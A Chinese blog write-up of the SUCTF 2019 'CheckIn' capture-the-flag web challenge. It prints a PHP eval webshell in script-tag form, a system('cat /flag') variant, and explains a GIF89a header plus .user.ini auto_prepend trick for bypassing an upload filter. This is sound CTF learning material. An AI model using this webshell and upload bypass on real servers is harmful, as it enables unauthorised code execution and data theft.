[SUCTF 2019]CheckIn

该篇博客讲述了作者在SUCTF2019竞赛中的Web挑战经历,通过上传.htaccess和.user.ini文件,利用图片文件欺骗和PHP后门技术,绕过服务器检查,最终获取flag的过程。涉及的技术包括文件类型检测、PHP后门、文件上传和权限控制。
摘要由CSDN通过智能技术生成

web第25题
[SUCTF 2019]CheckIn

打开靶场
在这里插入图片描述
看来是一个文件上传的题
上传正常图片
在这里插入图片描述
返回路径,注意到有一个index.php
尝试直接上传一句话木马shell.php
在这里插入图片描述
提示非法后缀
尝试使用burp抓包修改后缀
在这里插入图片描述
在这里插入图片描述
经过测试,基本都被过滤了,尝试上传.htaccess文件
在这里插入图片描述
得到提示,看来使用了exif_imagetype函数来检查是否是图片文件
在木马中加上GIF89a进行图片文件欺骗
在这里插入图片描述
尝试上传
在这里插入图片描述
看来对文件内容进行了检查,不允许有<?
参考我做的另一道题的绕过方法buuctf初学者学习记录–web第9题
换一个一句话木马

<script language="php">eval($_POST['shell']);</script> 

ps:根据经验,一般flag都放在根目录下,可以将一句话木马直接改成<script language='php'>system('cat /flag');</script>,此时访问index.php就会直接列出flag,这里没这么做
在这里插入图片描述
进行上传
在这里插入图片描述
上传成功,并且提示目录下有123.gif,index.php
但是由于.htaccess文件不允许上传,无法将gif文件解析为php文件
经过查找,参考:.user.ini文件构成的PHP后门
官方文档的解释如下:
在这里插入图片描述
下图引用于另一位大佬的解释:原文链接
在这里插入图片描述

得到.user.ini文件可以达到此效果,并且甚至可以比.htaccess文件用途更广
参考上面的连接,编写.user.ini文件
在这里插入图片描述
这句代码的意思是,指定123.gif文件每次都包含在要执行的php文件前,前提是目录下有.php文件。上文中提到了目录下有index.php文件,那么满足条件,只要访问index.php,那么123.gif文件的代码都会先执行
尝试上传
在这里插入图片描述
额。我忘了还有这个函数,在文件前添加GIF89a然后上传
在这里插入图片描述
上传成功
可以看到目录下的3个文件,这时,访问index.php就会将123.gif中的代码包含进去,使得其成为一个shell脚本
此时用蚁剑无法连接,不知道为啥,既然知道路径,那就直接使用post提交命令scandir扫描根目录,一般flag都放在根目录
在这里插入图片描述
看到根目录下有flag文件,直接用file_get_contents函数进行读取,得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值